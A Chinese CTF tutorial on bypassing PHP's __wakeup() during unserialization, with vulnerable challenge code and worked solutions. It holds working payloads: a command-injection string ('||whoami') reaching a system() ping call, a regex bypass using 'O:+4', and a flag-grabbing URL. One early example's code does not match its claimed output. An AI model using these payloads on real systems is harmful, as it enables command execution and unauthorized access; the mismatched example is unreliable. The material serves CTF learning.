CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

news/2024/5/19 22:48:15 标签: 开发语言, php反序列化, ctf, web安全

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

目录

  • 1. __wakeup()介绍
  • 2.__wakeup()绕过
  • 3. 绕过应用举例
  • 4. 真实赛题
    • 4.1 赛题一
    • 赛题2 攻防世界 Web_php_unserialize
    • 赛题三:极客⼤挑战 2019 PHP(综合题目)

1. __wakeup()介绍

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

下面是一个简单的示例,它演示了如何在一个 PHP 对象中使用 __wakeup() 方法:

class Example {
    public $a = 1;
    public $b = 2;

    public function __wakeup() {
        $this->a *= 2;
        $this->b *= 2;
    }
}

$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 $a$b。在 __wakeup() 方法中,我们将 $a$b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本,输出将是:

object(Example)#2 (2) {
  ["a"]=>
  int(2)
  ["b"]=>
  int(4)
}

正如预期的那样,我们的 __wakeup() 方法成功地修改了 $a$b 的值。

在安全编程中,__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。

2.__wakeup()绕过

然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。

具体来说,当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。

攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查,从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup() 函数的安全检查,并执行恶意代码。

以下是一个漏洞利用的示例代码:

class Example {
    private $a = 1;
    private $b = 2;
    
    public function __wakeup() {
        if ($this->a != 1 || $this->b != 2) {
            die("Invalid values for a and b");
        }
    }
}

$payload = 'O:7:"Example":3:{s:1:"a";i:2;s:1:"b";i:3;s:1:"c";i:4;}';
$serialized = serialize(new Example());
$serialized = str_replace('s:3:"Example":3', 's:3:"Example":2', $serialized);
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它有两个私有属性 $a$b__wakeup() 方法检查 $a$b 的值是否为 1 和 2。然后我们手动序列化了一个 Example 对象,并使用 O 类型的序列化字符串将其包装起来。在这种情况下,我们添加了一个新属性 $c,并将属性数量设置为 3。然后,我们使用 str_replace() 函数将序列化字符串中属性的数量修改为 2,从而绕过了 __wakeup() 函数的安全检查。因此,运行这个脚本,输出将是:

object(Example)#2 (2) {
  ["a":"Example":private]=>
  int(2)
  ["b":"Example":private]=>
  int(3)
}

3. 绕过应用举例

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}

4. 真实赛题

4.1 赛题一

  • 源码
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
 private $method;
 private $args;
 function __construct($method, $args)
 {
 $this->method = $method;
 $this->args = $args;
 }
 function __destruct()
 {
 // TODO: Implement __destruct() method.
 if (in_array($this->method, array("ping"))) {
 call_user_func_array(array($this, $this->method), $this->args);
 }
 }
 function ping($host)
 {
 system("ping -C 2 $host");
 }
 function __wakeup()
 {
 $this->args = array("127.0.0.1");
 }
}
$a=@$_GET['a'];
@unserialize($a);
?>
  • 解题思路
  1. 关键点在于__wakeup将所有参数均变为127.0.0.1
  2. 需要拼接命令,如ping -c 2;ls或ping -c 2|ls
  3. 构造poc

因为我是在windows10系统上起的服务,系统命令使用whoami

<?php
class home
{
 private $method='ping';
 private $args=array('||whoami');
}
$h = new home();
$ori = serialize($h);
echo $ori.'<br>';
echo urlencode($ori);
?>

在这里插入图片描述
原始序列化字符串:
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
将"home":2 ,修改为“home”:3 即可绕过__wakeup
最终攻击payload
?a=O%3A4%3A%22home%22%3A3%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
在这里插入图片描述

赛题2 攻防世界 Web_php_unserialize

  • 题目
    在这里插入图片描述
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  • 代码解释
    只说绕过点处的正则分析
 if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
功能代码
匹配模式/[oc]:\d+:/i
判断变量是否匹配模式preg_match(‘/[oc]:\d+:/i’, $var)
匹配规则匹配一个字符集 [oc],后跟一个冒号 :,再跟一个或多个数字 \d+,最后再跟一个冒号 :
匹配字符串示例o:123:、c:456:、O:789:、C:321:
匹配字符串示例(不匹配)abc、1234、o: abc:
匹配修饰符i,表示忽略大小写
匹配结果判断如果变量 $var 匹配模式,则执行 die(‘stop hacking!’)
序列化/反序列化如果变量 $var 不匹配模式,则使用 unserialize() 函数对 $var 进行反序列化
  • 解题思路
  1. 其余不再分析,只说这道题特有的考点
  2. 这道题特点是绕过preg_match(‘/[oc]:\d+:/i’, $var)

匹配到任意长度的数字 或者oc(类似数字)字符都会被过滤

绕过方式数字前加正号,如+4,正好不改变正数的值,却可以绕过检测

  1. 对private中%00的绕过,此题url编码后的base64,网站不认可。所以只能使用最原始保真的方式生成序列化,并直接base64,注意参考POC
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$d = new Demo();
$ori = serialize($d);
echo $ori.'<br>';
$ori = str_replace('O:4','O:+4', $ori);
$ori = str_replace('"Demo":1:','"Demo":2:',$ori);
// $result = urlencode($ori);
echo $ori.'<br>';
echo base64_encode($ori);

?>

// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
// O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

赛题三:极客⼤挑战 2019 PHP(综合题目)

极客⼤挑战 2019 PHP
在这里插入图片描述

  • 题目

一只猫,爱备份

  • 解题思路
  1. 既然提示了爱备份,使用burp加载CTF字典扫描,果然扫到备份地址

在这里插入图片描述

  1. 访问/www.zip 自动下载源码。index.php源码如下
 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

其中class.php源码如下

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
  1. 分析源码,class.php已经包含了flag文件 。在反序列化过程中,会自动触发__wakeup()和__destruct()这两个魔法函数。首先根据__destruct()可知,username=='admin'同时password=100可响应flag
  2. 但是魔法函数__wakeup已默认赋值username = 'guest’所以首先要绕过__wakeup。修改属性数量值即可
  3. 构造poc,一击必杀
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}

$name = new Name();
$ser_ori = serialize($name);
echo($ser_ori.'<br>');
$result = str_replace('"Name":2', '"Name":3', $ser_ori);
echo($result.'<br>');
echo(urlencode($result));

?>
/*
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
*/

攻击payload,页面直接爆flag
http://bb716fd5-9d48-4096-82dc-7afb1c3d4c76.node4.buuoj.cn:81/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
在这里插入图片描述

下篇文章是php序列化的最后一篇文章,关于phar反序列化,敬请期待~


http://www.niftyadmin.cn/n/346555.html

相关文章

EIS-Net

我们提出了一种新的领域泛化框架&#xff08;称为EISNet&#xff09;&#xff0c;该框架利用来自多源领域图像的外在关系监督和内在自我监督学习&#xff0c;学习如何同时在不同领域中进行泛化。 具体而言&#xff0c;我们采用多任务学习范式&#xff0c;通过特征嵌入来构建我…

【算法题】6441. 求一个整数的惩罚数

插&#xff1a; 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 坚持不懈&#xff0c;越努力越幸运&#xff0c;大家一起学习鸭~~~ 题目&#xff1a; 给你一个正整数 n &#xff0c;请你…

Android 分析Trace文件步骤

当我们通过 Android 设备或 Android Studio 导出 ANR 日志文件后&#xff0c;就需要对其进行分析&#xff0c;以确定 ANR 产生的具体原因。以下是分析 ANR 日志文件的具体步骤&#xff1a; 1. 打开 traces.txt 文件 使用文本编辑器&#xff08;例如 Sublime Text、Notepad 等…

【数据结构】红黑树封装map和set

文章目录 1.前置知识2.结构的改写与封装2.1 map和set的结构框架2.2 RBTreeNode结构的改写2.3 RBTree结构改写&#xff08;仿函数的引入&#xff09; 3. 迭代器3.1 RBTree的迭代器3.2 map和set的迭代器封装 4. 插入的改写和operatorp[]的重载4.1 insert的改写4.2 map::operator[…

DoFE:Domain-oriented Feature Embedding

key : 通过利用多源领域的知识来提高CNN在未见目标领域上的泛化能力。 我们的DoFE框架通过动态丰富图像特征与来自多源领域学习的附加领域先验知识相结合&#xff0c;使语义特征更具辨别性。引入了一个领域知识池来学习和记忆从多源领域提取的先验信息。 然后&#xff0c;原始…

容器简单介绍

目录 一、容器简介​编辑 二、容器和虚拟化技术差异 三、容器基本概念 四、容器技术对企业优势 五、容器的工具 一、容器简介 docker只是容器工具&#xff0c;真正容器技术是LXC &#xff08;linux container&#xff09; 二、容器和虚拟化技术差异 虚拟机模式&#xff…

linux使用HTTP隧道代码示例

以下是使用HTTP隧道的Linux代码示例&#xff1a; 1. 首先&#xff0c;需要安装socat工具&#xff1a; sudo apt-get install socat 2. 然后&#xff0c;使用以下命令创建HTTP隧道&#xff1a; socat TCP4-LISTEN:8080,fork PROXY:proxy.example.com:%h:%p,proxyport8080 其…

JSP学生学籍管理系统(源代码+论文+开题报告+外文翻译+答辩PPT)

随着信息技术在管理上越来越深入而广泛的应用,管理信息系统的实施在技术上已逐步成熟。管理信息系统是一个不断发展的新型学科,任何一个单位要生存要发展,要高效率地把内部活动有机地组织起来,就必须建立与自身特点相适应的管理信息系统。 本文采用JSP和MS SQL-Server等软…